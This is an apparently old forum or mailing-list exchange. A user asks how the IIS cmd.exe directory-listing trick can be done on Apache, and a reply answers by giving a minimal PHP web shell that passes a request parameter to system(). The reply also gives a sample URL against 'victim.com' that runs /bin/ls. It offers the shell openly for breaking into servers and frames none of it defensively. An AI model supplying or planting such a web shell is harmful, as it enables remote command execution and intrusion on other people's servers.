Hey
to answer your question , Yes same thing can be accomplished on any platform or any webserver 
if you can inject the following script to an apache server running php , you will be able to execute any command
for example ls -la / and see the directories etc ...

Ex :

<? php
       system($arg);
?>

    after you inject this file, lets say you called it break.php  do the following :

         "http://www.victim.com/break.php?arg=/bin/ls";

     you will get the directories and files etc ...

Hi,

In IIS/4 or 5 you can use the cmd.exe?/c+dir to get
the directory of a machine how can the same be
accomplish on other types of web server like Apache ?

Can this be accomplished with a cgi or perl script ?

Thanks 

John
